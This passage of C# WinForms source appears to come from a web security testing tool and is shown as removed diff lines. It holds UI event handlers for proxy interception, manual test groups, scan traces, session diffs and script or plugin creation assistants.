ScanTraceBackFourBtn_Click(object sender, EventArgs e) - { - IronTrace.MoveScanTraceRecordBack(4); - } - - private void ProxyShowOriginalRequestCB_CheckedChanged(object sender, EventArgs e) - { - if (ProxyShowOriginalRequestCB.Checked) - { - if (IronLog.CurrentSession.OriginalRequest != null) - IronUI.FillLogFields(IronLog.CurrentSession.OriginalRequest); - } - else - { - IronUI.FillLogFields(IronLog.CurrentSession.Request); - } - } - - private void ProxyShowOriginalResponseCB_CheckedChanged(object sender, EventArgs e) - { - if (ProxyShowOriginalResponseCB.Checked) - { - if (IronLog.CurrentSession.OriginalResponse != null) - IronUI.FillLogFields(IronLog.CurrentSession.OriginalResponse, null); - } - else - { - IronUI.FillLogFields(IronLog.CurrentSession.Response, null); - } - } - - private void UIDesignerToolStripMenuItem_Click(object sender, EventArgs e) - { - if (IronUI.IsUIDesignerOpen()) - { - IronUI.UD.Activate(); - } - else - { - IronUI.UD = new ModUiDesigner(); - IronUI.UD.Show(); - } - } - - private void CustomSendActivateCB_CheckedChanged(object sender, EventArgs e) - { - if (this.CustomSendActivateCB.Checked) - { - CustomSendErrorTB.Visible = false; - string Result = ""; - if (this.CustomSendPythonRB.Checked) - { - Result = ManualTesting.SetPyScriptedSend(this.CustomSendTE.Text); - } - else - { - Result = ManualTesting.SetRbScriptedSend(this.CustomSendTE.Text); - } - if (Result.Length > 0) - { - IronUI.ShowScriptedSendScriptException(Result); - } - } - - ManualTesting.ScriptedSendEnabled = this.CustomSendActivateCB.Checked; - this.MTScriptedSendBtn.Enabled = ManualTesting.ScriptedSendEnabled; - - if (this.CustomSendActivateCB.Checked) - { - ScriptedSendTP.BackColor = Color.DarkGreen; - } - else - { - ScriptedSendTP.BackColor = Color.White; - } - } - - private void SelectedModuleReloadToolStripMenuItem_Click(object sender, EventArgs e) - { - if (PluginAndModuleTree.SelectedNode == null) return; - TreeNode SelectedNode = PluginAndModuleTree.SelectedNode; - if (SelectedNode.Level == 3 && SelectedNode.Parent.Parent.Index == 1) - { - IronThread.Run(Module.ReloadModule, SelectedNode.Name); - } - } - - private void OtherLogSourceGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (OtherLogSourceGrid.SelectedRows == null) return; - if (OtherLogSourceGrid.SelectedRows.Count == 0) return; - IronLog.SelectedOtherSource = OtherLogSourceGrid.SelectedRows[0].Cells[0].Value.ToString(); - IronLog.CurrentSource = IronLog.SelectedOtherSource; - Thread T = new Thread(IronLog.ShowOtherSourceRecords); - T.Start(); - } - - private void OtherLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (OtherLogGrid.SelectedCells.Count < 1 || OtherLogGrid.SelectedCells[0].Value == null || OtherLogGrid.SelectedRows.Count == 0) - { - return; - } - IronLog.ShowLog(IronLog.SelectedOtherSource, OtherLogGrid.SelectedCells[0].Value.ToString(), OtherLogGrid.SelectedRows[0].Index, false); - return; - - } - - //private void ConfigureScanRequestFormatPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - //{ - // if (Scanner.CurrentScanner == null) return; - // if (Scanner.CurrentScanner.OriginalRequest == null) return; - // string PluginName = ""; - // ASExceptionTB.Text = ""; - // foreach (DataGridViewRow Row in ConfigureScanRequestFormatPluginsGrid.Rows) - // { - // if (e.RowIndex == Row.Index) - // { - // Row.Cells[0].Value = true; - // PluginName = Row.Cells[1].Value.ToString(); - // } - // else - // { - // Row.Cells[0].Value = false; - // } - // } - - // ConfigureScanRequestFormatXMLTB.Text = ""; - - // //if (PluginName.Equals("None")) - // //{ - // // IronUI.UpdateScanBodyTabWithDataInDefaultFormat(); - // // ConfigureScanRequestFormatXMLTB.Text = ""; - // // Scanner.CurrentScanner.BodyFormat = new FormatPlugin(); - // // return; - // //} - // if (!FormatPlugin.List().Contains(PluginName)) - // { - // IronUI.ShowConfigureScanException("Format Plugin not found"); - // return; - // } - // FormatPlugin Plugin = FormatPlugin.Get(PluginName); - // if (Scanner.CurrentScanner == null) - // { - // IronUI.ShowConfigureScanException("Invalid Request"); - // return; - // } - // if (Scanner.CurrentScanner.OriginalRequest == null) - // { - // IronUI.ShowConfigureScanException("Invalid Request"); - // return; - // } - // //Scanner.CurrentScanner.BodyFormat = Plugin; - // Scanner.StartDeSerializingRequestBody(Scanner.CurrentScanner.OriginalRequest, Plugin, new List(), false); - //} - - // private void ScanJobCustomizeBtn_Click(object sender, EventArgs e) - // { - // ScanCustomizationAssistant SCA = new ScanCustomizationAssistant(); - // SCA.Show(); - //} - - //private void ASBaseTab_Deselecting(object sender, TabControlCancelEventArgs e) - //{ - // if (e.TabPageIndex == 0) - // { - // try - // { - // IronUI.HandleAnyChangesInConfigureScanRequest(); - // } - // catch (Exception Exp) - // { - // IronUI.ShowConfigureScanException(Exp.Message); - // } - // } - //} - - //private void ASBodyInjectTypeTabs_Selecting(object sender, TabControlCancelEventArgs e) - //{ - // //If none of the options are selected then select normal - // if (!(ASBodyTypeNormalRB.Checked || ASBodyTypeFormatPluginRB.Checked || ASBodyTypeCustomRB.Checked)) - // ASBodyTypeNormalRB.Checked = true; - - // switch (e.TabPage.Name) - // { - // case ("ASBodyTypeNormalTab"): - // if (!ASBodyTypeNormalRB.Checked) - // { - // if (ASBodyTypeFormatPluginRB.Checked) - // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeFormatPluginTab"); - // else if(ASBodyTypeCustomRB.Checked) - // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeCustomTab"); - // } - // break; - // case ("ASBodyTypeFormatPluginTab"): - // if (!ASBodyTypeFormatPluginRB.Checked) - // { - // if (ASBodyTypeNormalRB.Checked) - // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeNormalTab"); - // else if (ASBodyTypeCustomRB.Checked) - // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeCustomTab"); - // } - // break; - // case ("ASBodyTypeCustomTab"): - // if (!ASBodyTypeCustomRB.Checked) - // { - // if (ASBodyTypeFormatPluginRB.Checked) - // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeFormatPluginTab"); - // else if (ASBodyTypeNormalRB.Checked) - // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeNormalTab"); - // } - // if (!ASRequestCustomInjectionMarkerTabs.SelectedTab.Name.Equals("ASRequestCustomMarkerSelectionTab")) - // ASRequestCustomInjectionMarkerTabs.SelectTab("ASRequestCustomMarkerSelectionTab"); - // break; - // } - //} - - //private void ASBodyTypeNormalRB_CheckedChanged(object sender, EventArgs e) - //{ - // if (ASBodyTypeNormalRB.Checked) - // { - // IronUI.UpdateScanBodyTabWithDataInDefaultFormat(); - // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeNormalTab"); - // } - //} - - //private void ASBodyTypeFormatPluginRB_CheckedChanged(object sender, EventArgs e) - //{ - // if (ASBodyTypeFormatPluginRB.Checked) - // { - // ASRequestScanAllCB.Checked = false; - // ASRequestScanBodyCB.Checked = false; - // foreach (DataGridViewRow Row in ConfigureScanRequestFormatPluginsGrid.Rows) - // { - // Row.Cells[0].Value = false; - // } - // ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Clear(); - // ConfigureScanRequestFormatXMLTB.Text = ""; - // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeFormatPluginTab"); - // } - //} - - //private void ASBodyTypeCustomRB_CheckedChanged(object sender, EventArgs e) - //{ - // if (ASBodyTypeCustomRB.Checked) - // { - // ASRequestScanAllCB.Checked = false; - // ASRequestScanBodyCB.Checked = false; - // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeCustomTab"); - // if (Scanner.CurrentScanner != null && Scanner.CurrentScanner.OriginalRequest != null) - // { - // ASRequestCustomInjectionPointsHighlightTB.Text = Scanner.CurrentScanner.OriginalRequest.BodyString; - // } - // ASRequestCustomInjectionPointsHighlightLbl.Text = "Number of Injection Points Detected: 0"; - // ASRequestCustomInjectionMarkerTabs.SelectTab("ASRequestCustomMarkerSelectionTab"); - // } - //} - - //private void ASRequestScanBodyTypeNormalGrid_CellClick(object sender, DataGridViewCellEventArgs e) - //{ - // if (ASRequestScanBodyTypeNormalGrid.SelectedCells.Count < 1 || ASRequestScanBodyTypeNormalGrid.SelectedCells[0].Value == null) - // { - // return; - // } - // if ((bool)this.ASRequestScanBodyTypeNormalGrid.SelectedCells[0].Value) - // { - // this.ASRequestScanBodyTypeNormalGrid.SelectedCells[0].Value = false; - // this.ASRequestScanAllCB.Checked = false; - // this.ASRequestScanBodyCB.Checked = false; - // } - // else - // { - // this.ASRequestScanBodyTypeNormalGrid.SelectedCells[0].Value = true; - // } - //} - - //private void ASApplyCustomMarkersLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - //{ - // string StartMarker = ASCustomStartMarkerTB.Text.Trim(); - // string EndMarker = ASCustomEndMarkerTB.Text.Trim(); - // if (StartMarker.Length == 0 || EndMarker.Length == 0) - // { - // IronUI.ShowConfigureScanException("Start and End markers cannot be empty."); - // return; - // } - // if (StartMarker.Equals(EndMarker)) - // { - // IronUI.ShowConfigureScanException("Start and End markers cannot be the same."); - // return; - // } - // Scanner.CurrentScanner.CustomInjectionPointStartMarker = StartMarker; - // Scanner.CurrentScanner.CustomInjectionPointEndMarker = EndMarker; - // IronUI.DetectAndHighLightCustomInjectionPoints(); - //} - - //private void ASCustomStartMarkerTB_TextChanged(object sender, EventArgs e) - //{ - // ASRequestScanBodyCB.Checked = false; - // ASRequestCustomInjectionPointsHighlightTB.Text = Scanner.CurrentScanner.OriginalRequest.BodyString; - // ASRequestCustomInjectionPointsHighlightLbl.Text = "Number of Injection Points Detected: 0"; - //} - - //private void ASCustomEndMarkerTB_TextChanged(object sender, EventArgs e) - //{ - // ASRequestScanBodyCB.Checked = false; - // ASRequestCustomInjectionPointsHighlightTB.Text = Scanner.CurrentScanner.OriginalRequest.BodyString; - // ASRequestCustomInjectionPointsHighlightLbl.Text = "Number of Injection Points Detected: 0"; - //} - - private void ASClearScanBtn_Click(object sender, EventArgs e) - { - Scanner.ResetChangedStatus(); - IronUI.ResetConfigureScanFields(); - Scanner.CurrentScanner = null; - ScanDisplayPanel.Visible = false; - ScanTopPanel.Visible = true; - ScanJobsBaseSplit.SplitterDistance = 62; - } - - private void ASStopAllScansLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - StopAllScansAction(); - } - - private void ASStartAllStoppedAndAbortedScansLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - StartAllStoppedAndAbortedScansAction(); - } - - private void CreateNewTestRequestBtn_Click(object sender, EventArgs e) - { - CreateNewRequestWizard CNRW = new CreateNewRequestWizard(); - CNRW.Show(); - } - - void CreateImageList() - { - ImageList IL = new ImageList(); - IL.ImageSize = new System.Drawing.Size(10, 10); - Bitmap BM = new Bitmap(10, 10); - Graphics G = Graphics.FromImage(BM); - SolidBrush B = new SolidBrush(Color.LightSkyBlue); - G.FillRectangle(B, 0, 0, 10, 10); - IL.Images.Add("Square", BM); - - TestGroupsLV.SmallImageList = IL; - TestGroupsLV.LargeImageList = IL; - } - - private void TestGroupsLV_SelectedIndexChanged(object sender, EventArgs e) - { - if (TestGroupsLV.SelectedItems.Count > 0) - { - if (!MTBaseSplit.Visible) MTBaseSplit.Visible = true; - string Group = TestGroupsLV.SelectedItems[0].Name; - if (!Group.Equals(ManualTesting.CurrentGroup)) - ManualTesting.ShowGroup(Group); - } - } - - private void MTDeleteGroupLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - try - { - TestGroupsLV.Items.RemoveByKey(ManualTesting.CurrentGroup); - IronUI.ResetMTDisplayFields(); - TestIDLbl.Text = "ID: 0"; - MTCurrentGroupNameTB.Text = ""; - TestGroupLogGrid.Rows.Clear(); - ManualTesting.ClearGroup(); - //MTReqResTabs.SelectTab("MTRequestTab"); - MTBaseSplit.Visible = false; - if (TestGroupsLV.Items.Count == 0) - { - TestGroupsTitleTB.Visible = false; - TestGroupsLV.Visible = false; - } - } - catch { } - } - - private void MTRenameGroupLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - - string NewName = MTCurrentGroupNameTB.Text.Trim(); - if (NewName.Length == 0) - { - MTCurrentGroupNameTB.Text = ManualTesting.CurrentGroup; - IronUI.ShowMTException("A group with name already exists"); - return; - } - if (ManualTesting.GroupSessions.ContainsKey(NewName)) - { - MTCurrentGroupNameTB.Text = ManualTesting.CurrentGroup; - IronUI.ShowMTException("A group with name already exists"); - return; - } - Dictionary SessionsList = ManualTesting.GroupSessions[ManualTesting.CurrentGroup]; - int CurrentId = ManualTesting.CurrentGroupLogId[ManualTesting.CurrentGroup]; - ManualTesting.GroupSessions.Remove(ManualTesting.CurrentGroup); - ManualTesting.CurrentGroupLogId.Remove(ManualTesting.CurrentGroup); - string OldName = ManualTesting.CurrentGroup; - TestGroupsLV.Items[OldName].Name = NewName; - TestGroupsLV.Items[NewName].Text = NewName; - ManualTesting.CurrentGroup = NewName; - ManualTesting.GroupSessions[ManualTesting.CurrentGroup] = SessionsList; - ManualTesting.CurrentGroupLogId[ManualTesting.CurrentGroup] = CurrentId; - IronDB.RenameGroup(OldName, NewName); - IronUI.ShowMTException(""); - } - - private void SelectForManualTestingToolStripMenuItem_Click(object sender, EventArgs e) - { - IronLog.MarkForTesting(GetSource(), GetID(), ""); - } - - private void MTFollowRedirectBtn_Click(object sender, EventArgs e) - { - ManualTesting.FollowRedirect(); - } - - private void MTGetRedirectBtn_Click(object sender, EventArgs e) - { - ManualTesting.GetRedirect(); - } - - private void ProxyRequestView_RequestChanged() - { - IronProxy.RequestChanged = true; - } - - private void ProxyResponseView_ResponseChanged() - { - IronProxy.ResponseChanged = true; - } - - private void StartLogAnalyzerBtn_Click(object sender, EventArgs e) - { - LogAnalyzer LoAn = new LogAnalyzer(); - LoAn.Show(); - } - - private void LoadSelectedTraceBtn_Click(object sender, EventArgs e) - { - //IronTrace Trace = IronDB.GetScanTrace(IronUI.MainViewSelectedScanTraceId); - LogTraceViewer TraceViewer = new LogTraceViewer(IronUI.MainViewSelectedScanTraceId); - //TraceViewer.ScanTraceMsgRTB.Rtf = ScanTraceMsgRTB.Rtf; - //foreach (DataGridViewRow Row in ScanTraceOverviewGrid.Rows) - //{ - // object[] RowValues = new object[Row.Cells.Count + 1]; - // RowValues[0] = false; - // foreach (DataGridViewCell Cell in Row.Cells) - // { - // RowValues[Cell.ColumnIndex + 1] = Cell.Value; - // } - // TraceViewer.ScanTraceOverviewGrid.Rows.Add(RowValues); - //} - TraceViewer.Show(); - } - - private void ASBodyInjectTypeTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (ASBodyInjectTypeTabs.SelectedIndex != Scanner.CurrentScannerBodyFormatTabIndex) - ASBodyInjectTypeTabs.SelectTab(Scanner.CurrentScannerBodyFormatTabIndex); - } - - private void TestGroupHistoryDoDiffBtn_Click(object sender, EventArgs e) - { - int ALogId = -1; - int BLogId = -1; - int SelectedRowsCount = 0; - foreach (DataGridViewRow Row in TestGroupLogGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - SelectedRowsCount++; - if (ALogId == -1) - { - try - { - ALogId = Int32.Parse(Row.Cells[1].Value.ToString()); - } - catch { } - } - else if (BLogId == -1) - { - try - { - BLogId = Int32.Parse(Row.Cells[1].Value.ToString()); - } - catch { } - } - } - } - - if (SelectedRowsCount == 2) - { - SessionsDiffer Sdiff = new SessionsDiffer(); - Sdiff.SetSessions("Test", ALogId, BLogId); - Sdiff.Show(); - } - else - { - MessageBox.Show(string.Format("Diff can be done only when two sessions are selected. You have selected {0} sessions", SelectedRowsCount), "Selection Error"); - } - } - - private void SessionPluginTraceLoadLogBtn_Click(object sender, EventArgs e) - { - IronTrace.LoadSessionPluginTraceLog(); - if (!SessionPluginTraceBottomTabs.SelectedTab.Name.Equals("SessionPluginTraceLogViewTab")) - { - SessionPluginTraceBottomTabs.SelectTab("SessionPluginTraceLogViewTab"); - } - } - - private void sessionPluginCreationAssistantToolStripMenuItem_Click(object sender, EventArgs e) - { - SessionPluginCreationAssistant SPCA = new SessionPluginCreationAssistant(); - SPCA.Show(); - } - - private void SessionPluginTraceGrid_SelectionChanged(object sender, EventArgs e) - { - if (SessionPluginTraceGrid.SelectedCells == null || SessionPluginTraceGrid.SelectedCells.Count == 0) return; - try - { - IronTrace.SelectedSessionPluginTraceLogId = Int32.Parse(SessionPluginTraceGrid.SelectedRows[0].Cells["SessionPluginTraceLogIdClmn"].Value.ToString()); - IronTrace.SelectedSessionPluginTraceSource = SessionPluginTraceGrid.SelectedRows[0].Cells["SessionPluginTraceLogSourceClmn"].Value.ToString(); - SessionPluginTraceLoadLogBtn.Enabled = (IronTrace.SelectedSessionPluginTraceLogId > 0); - SessionPluginTraceMsgRTB.Text = SessionPluginTraceGrid.SelectedRows[0].Cells["SessionPluginTraceMessageClmn"].Value.ToString(); - IronUI.ShowSessionPluginTraceLog(null, null); - if (!SessionPluginTraceBottomTabs.SelectedTab.Name.Equals("SessionPluginTraceMessageTab")) - { - SessionPluginTraceBottomTabs.SelectTab("SessionPluginTraceMessageTab"); - } - } - catch { } - } - - private void activePluginCreationAssistantToolStripMenuItem_Click(object sender, EventArgs e) - { - ActivePluginCreationAssistant APCA = new ActivePluginCreationAssistant(); - APCA.Show(); - } - - private void MTMaximizeRequestViewBtn_Click(object sender, EventArgs e) - { - if (MTMaximizeRequestViewBtn.Text.Equals("\\/")) - { - MTBaseSplit.SplitterDistance = MTBaseSplit.Height - 10; - MTMaximizeRequestViewBtn.Text = "--"; - } - else - { - MTBaseSplit.SplitterDistance = MTBaseSplit.Height/2; - MTMaximizeRequestViewBtn.Text = "\\/"; - } - } - - private void MTMaximizeResponseViewBtn_Click(object sender, EventArgs e) - { - if (MTMaximizeResponseViewBtn.Text.Equals("/\\")) - { - MTBaseSplit.SplitterDistance = 10; - MTMaximizeResponseViewBtn.Text = "--"; - } - else - { - MTBaseSplit.SplitterDistance = MTBaseSplit.Height / 2; - MTMaximizeResponseViewBtn.Text = "/\\"; - } - } - - private void passivePluginCreationAssistantToolStripMenuItem_Click(object sender, EventArgs e) - { - PassivePluginCreationAssistant PPCA = new PassivePluginCreationAssistant(); - PPCA.Show(); - } - - private void scriptCreationAssistantToolStripMenuItem_Click(object sender, EventArgs e) - { - ScriptCreationAssistant SCA = new ScriptCreationAssistant(); - SCA.Show(); - } - - private void ShowScriptCreationAssistantBtn_Click(object sender, EventArgs e) - { - ScriptCreationAssistant SCA = new ScriptCreationAssistant(); - SCA.Show(); - } - - private void ScriptedInterceptionRunScriptCreationAssistantBtn_Click(object sender, EventArgs e) - { - ScriptCreationAssistant SCA = new ScriptCreationAssistant(); - SCA.Show(); - } - - private void ScriptedInterceptionRubyRB_CheckedChanged(object sender, EventArgs e) - { - if (ScriptedInterceptionRubyRB.Checked) - { - this.ShowScriptedInterceptionTemplateLL.Text = "Show sample Ruby script"; - - ScriptedInterceptionCTB.LangCode = 2; - - this.ScriptedInterceptionScriptTopRTB.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue255;\red25\green25\blue112;} \cf1 def \cf0 \cf2 \b1 should_intercept \b0 \cf0 (sess)"; - this.ScriptedInterceptionScriptBottomRTB.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue128;\red0\green0\blue255;} \cf1 return \cf0 false \par \cf2 end \cf0"; - this.ScriptedInterceptionActivateScriptCB.Checked = false; - - Directory.SetCurrentDirectory(Config.RootDir); - } - } - - private void ScriptedInterceptionPythonRB_CheckedChanged(object sender, EventArgs e) - { - if (ScriptedInterceptionPythonRB.Checked) - { - this.ShowScriptedInterceptionTemplateLL.Text = "Show sample Python script"; - - ScriptedInterceptionCTB.LangCode = 2; - - this.ScriptedInterceptionScriptTopRTB.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue255;\red25\green25\blue112;} \cf1 def \cf0 \cf2 \b1 ShouldIntercept \b0 \cf0 (sess):"; - this.ScriptedInterceptionScriptBottomRTB.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue128;} \cf1 return \cf0 False"; - this.ScriptedInterceptionActivateScriptCB.Checked = false; - - Directory.SetCurrentDirectory(Config.RootDir); - } - } - - private void ScriptedInterceptionActivateScriptCB_CheckedChanged(object sender, EventArgs e) - { - if (this.ScriptedInterceptionActivateScriptCB.Checked) - { - ScriptedInterceptionErrorTB.Visible = false; - string Result = ""; - if (this.ScriptedInterceptionPythonRB.Checked) - { - Result = IronProxy.SetPyScriptedInterception(this.ScriptedInterceptionCTB.Text); - } - else - { - Result = IronProxy.SetRbScriptedInterception(this.ScriptedInterceptionCTB.Text); - } - if (Result.Length > 0) - { - IronUI.ShowScriptedInterceptionScriptException(Result); - } - } - - IronProxy.ScriptedInterceptionEnabled = this.ScriptedInterceptionActivateScriptCB.Checked; - - if (IronProxy.ScriptedInterceptionEnabled) - { - this.InterceptRequestCB.Enabled = false; - this.InterceptResponseCB.Enabled = false; - } - else - { - this.InterceptRequestCB.Enabled = true; - this.InterceptResponseCB.Enabled = true; - } - - if (this.ScriptedInterceptionActivateScriptCB.Checked) - { - ScriptedInterceptionBaseSplit.Panel1.BackColor = Color.DarkGreen; - } - else - { - ScriptedInterceptionBaseSplit.Panel1.BackColor = Color.White; - } - } - - private void ScriptedInterceptionCTB_ValueChanged() - { - if (this.ScriptedInterceptionActivateScriptCB.Checked) - { - this.ScriptedInterceptionActivateScriptCB.Checked = false; - } - IronUI.ResetScriptedInterceptionScriptExceptionFields(); - - if (IronProxy.ScriptedInterceptionEnabled) - { - IronProxy.ScriptedInterceptionEnabled = false; - } - } - - private void ShowScriptedInterceptionTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - ShowSampleScriptedInterceptionScript(); - } - - void ShowSampleScriptedInterceptionScript() - { - try - { - if (ScriptedInterceptionPythonRB.Checked) - { - ScriptedInterceptionCTB.Text = ScriptedInterceptor.GetSamplePythonScript(); - } - else - { - ScriptedInterceptionCTB.Text = ScriptedInterceptor.GetSampleRubyScript(); - } - } - catch(Exception Exp) - { - IronException.Report("Unable to show the sample script", Exp); - } - } - - private void ShowScriptedSendTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - ShowSampleScriptedSendScript(); - } - - void ShowSampleScriptedSendScript() - { - try - { - if (CustomSendPythonRB.Checked) - { - CustomSendTE.Text = ScriptedSender.GetSamplePythonScript(); - } - else - { - CustomSendTE.Text = ScriptedSender.GetSampleRubyScript(); - } - } - catch(Exception Exp) - { - IronException.Report("Unable to show the sample script", Exp); - } - } - - private void TestAdvancedOptionsHelpLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - main_tab.SelectTab("mt_scripting"); - ScriptingShellTabs.SelectTab("ScriptedSendTP"); - } - - private void ProxyInterceptTabs_Deselecting(object sender, TabControlCancelEventArgs e) - { - if (ScriptedInterceptionBaseSplit.SplitterDistance != 130) - { - try - { - ScriptedInterceptionBaseSplit.SplitterDistance = 130; - } - catch { } - try - { - ScriptedInterceptionBottomSplit.SplitterDistance = ScriptedInterceptionBottomSplit.Height - 118; - } - catch { } - } - } - - private void ProxyInterceptTabs_SelectedIndexChanged(object sender, EventArgs e) - { - if (ProxyInterceptTabs.SelectedIndex == 2 && !ScriptedInterceptionBaseSplit.Visible) - { - ScriptedInterceptionBaseSplit.Visible = true; - } - } - - private void moduleCreationAssistantToolStripMenuItem_Click(object sender, EventArgs e) - { - ModuleCreationAssistant MCA = new ModuleCreationAssistant(); - MCA.Show(); - } - - private void LaunchPayloadEffectAnalyzerBtn_Click(object sender, EventArgs e) - { - ScanTraceBehaviourAnalysis STBA = new ScanTraceBehaviourAnalysis(); - STBA.Show(); - } - - private void TestUpdateCookieStoreLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - ManualTesting.UpdateCookieStoreFromResponse(); - TestUpdateFromCookieStoreLL.Visible = true; - TestUpdateCookieStoreLL.Visible = false; - } - - private void TestUpdateFromCookieStoreLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - ManualTesting.UpdateRequestFromCookieStore(); - } - - private void ViewProxyInterceptionConfigLink_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - ConfigPanel.Height = 350; - ConfigPanel.Visible = true; - ConfigViewHideLL.Text = "Hide Config"; - ConfigPanelTabs.SelectTab("ConfigInterceptRulesTab"); - } - - private void ViewProxyDisplayFilterLink_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - ConfigPanel.Height = 350; - ConfigPanel.Visible = true; - ConfigViewHideLL.Text = "Hide Config"; - ConfigPanelTabs.SelectTab("ConfigDisplayRulesTab"); - } - - private void ResultsShowTriggersMenuLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - LogMenu.Show(ResultsTriggersGrid, 10, 10); - } - - private void DoDiffBtn_Click(object sender, EventArgs e) - { - List TriggerIds = new List(); - TriggerIds = new List(Finding.TriggersSelectedForDiff); - - if (TriggerIds.Count == 2) - { - SessionsDiffer SD = new SessionsDiffer(); - Trigger A; - Trigger B; - if (TriggerIds[0] == 0) - { - A = new Trigger("", Finding.CurrentPluginResult.BaseRequest, "", Finding.CurrentPluginResult.BaseResponse); - } - else - { - A = Finding.CurrentPluginResult.Triggers.GetTrigger(TriggerIds[0] - 1); - } - if (TriggerIds[1] == 0) - { - B = new Trigger("", Finding.CurrentPluginResult.BaseRequest, "", Finding.CurrentPluginResult.BaseResponse); - } - else - { - B = Finding.CurrentPluginResult.Triggers.GetTrigger(TriggerIds[1] - 1); - } - - Session First = null; - Session Second = null; - if (A.Response == null) - { - First = new Session(A.Request); - } - else - { - First = new Session(A.Request, A.Response); - } - if (B.Response == null) - { - Second = new Session(B.Request); - } - else - { - Second = new Session(B.Request, B.Response); - } - SD.SetSessions(First, Second); - SD.Show(); - } - else - { - if (TriggerIds.Count == 0) - { - MessageBox.Show("Select two items before doing a Diff. You have NOT selected any items currently"); - } - else if (TriggerIds.Count == 1) - { - MessageBox.Show("Select two items before doing a Diff. You have selected only one item currently"); - } - else if (TriggerIds.Count > 2) - { - MessageBox.Show("Select two items before doing a Diff. You have selected more than two items currently"); - } - } - } - - private void SelectForDiffTriggersGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (SelectForDiffTriggersGrid.SelectedRows == null) return; - if (SelectForDiffTriggersGrid.SelectedRows.Count == 0) return; - - - SelectForDiffTriggersGrid.SelectedRows[0].Cells[0].Value = !((bool)SelectForDiffTriggersGrid.SelectedRows[0].Cells[0].Value); - - if ((bool)SelectForDiffTriggersGrid.SelectedRows[0].Cells[0].Value) - { - if (SelectForDiffTriggersGrid.SelectedRows[0].Cells[1].Value.ToString().Equals("Normal")) - { - Finding.TriggersSelectedForDiff.Add(0); - } - else - { - try - { - Finding.TriggersSelectedForDiff.Add(Int32.Parse(SelectForDiffTriggersGrid.SelectedRows[0].Cells[1].Value.ToString().Replace("Trigger", "").Trim())); - } - catch { } - } - if (Finding.TriggersSelectedForDiff.Count > 2) - { - int i = Finding.TriggersSelectedForDiff[0]; - Finding.TriggersSelectedForDiff.RemoveAt(0); - - foreach (DataGridViewRow Row in SelectForDiffTriggersGrid.Rows) - { - if (i == 0 && Row.Cells[1].Value.ToString().Trim().Equals("Normal")) - { - Row.Cells[0].Value = false; - } - else - { - try - { - if (i == Int32.Parse(Row.Cells[1].Value.ToString().Replace("Trigger", "").Trim())) - { - Row.Cells[0].Value = false; - } - } - catch { } - } - } - } - } - else - { - if (SelectForDiffTriggersGrid.SelectedRows[0].Cells[1].Value.ToString().Equals("Normal")) - { - Finding.TriggersSelectedForDiff.Remove(0); - } - else - { - try - { - Finding.TriggersSelectedForDiff.Remove(Int32.Parse(SelectForDiffTriggersGrid.SelectedRows[0].Cells[1].Value.ToString().Replace("Trigger", "").Trim())); - } - catch { } - } - } - } - - private void ResultsTriggersGrid_SelectionChanged(object sender, EventArgs e) - { - if (ResultsTriggersGrid.SelectedCells.Count < 1 || ResultsTriggersGrid.SelectedCells[0].Value == null) - { - return; - } - if (Finding.CurrentPluginResult != null) - { - if (ResultsTriggersGrid.SelectedCells[0].Value.ToString().Trim().Equals("Normal")) - { - IronUI.DisplayPluginResultsTrigger(-1); - } - else - { - int TriggerNumber = Int32.Parse(ResultsTriggersGrid.SelectedCells[0].Value.ToString().Replace("Trigger", "").Trim()) - 1; - IronUI.DisplayPluginResultsTrigger(TriggerNumber); - } - } - } - - private void ResultsShowScanTraceBtn_Click(object sender, EventArgs e) - { - try - { - List Traces = IronDB.GetScanTraces(Finding.CurrentPluginResult); - List Viewers = new List(); - - foreach (IronTrace Trace in Traces) - { - LogTraceViewer TraceViewer = new LogTraceViewer(Trace); - Viewers.Add(TraceViewer); - //StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - //SB.Append(Tools.RtfSafe(Trace.Message)); - //TraceViewer.ScanTraceMsgRTB.Rtf = SB.ToString(); - - //try - //{ - // List> OverviewEntries = IronTrace.GetOverviewEntriesFromXml(Trace.OverviewXml); - // //ScanTraceOverviewGrid.Rows.Clear(); - // foreach (Dictionary Entry in OverviewEntries) - // { - // TraceViewer.ScanTraceOverviewGrid.Rows.Add(new object[] { false, Entry["id"], Entry["log_id"], Entry["payload"], Entry["code"], Entry["length"], Entry["mime"], Entry["time"], Entry["signature"] }); - // } - // Viewers.Add(TraceViewer); - //} - //catch - //{ - // //Probaly an entry from the log of an older version - //} - } - foreach (LogTraceViewer Viewer in Viewers) - { - Viewer.Show(); - } - if (Viewers.Count > 1) - { - MessageBox.Show(string.Format("{0} traces entries matched this finding, so {0} windows have been opened", Viewers.Count)); - } - else if 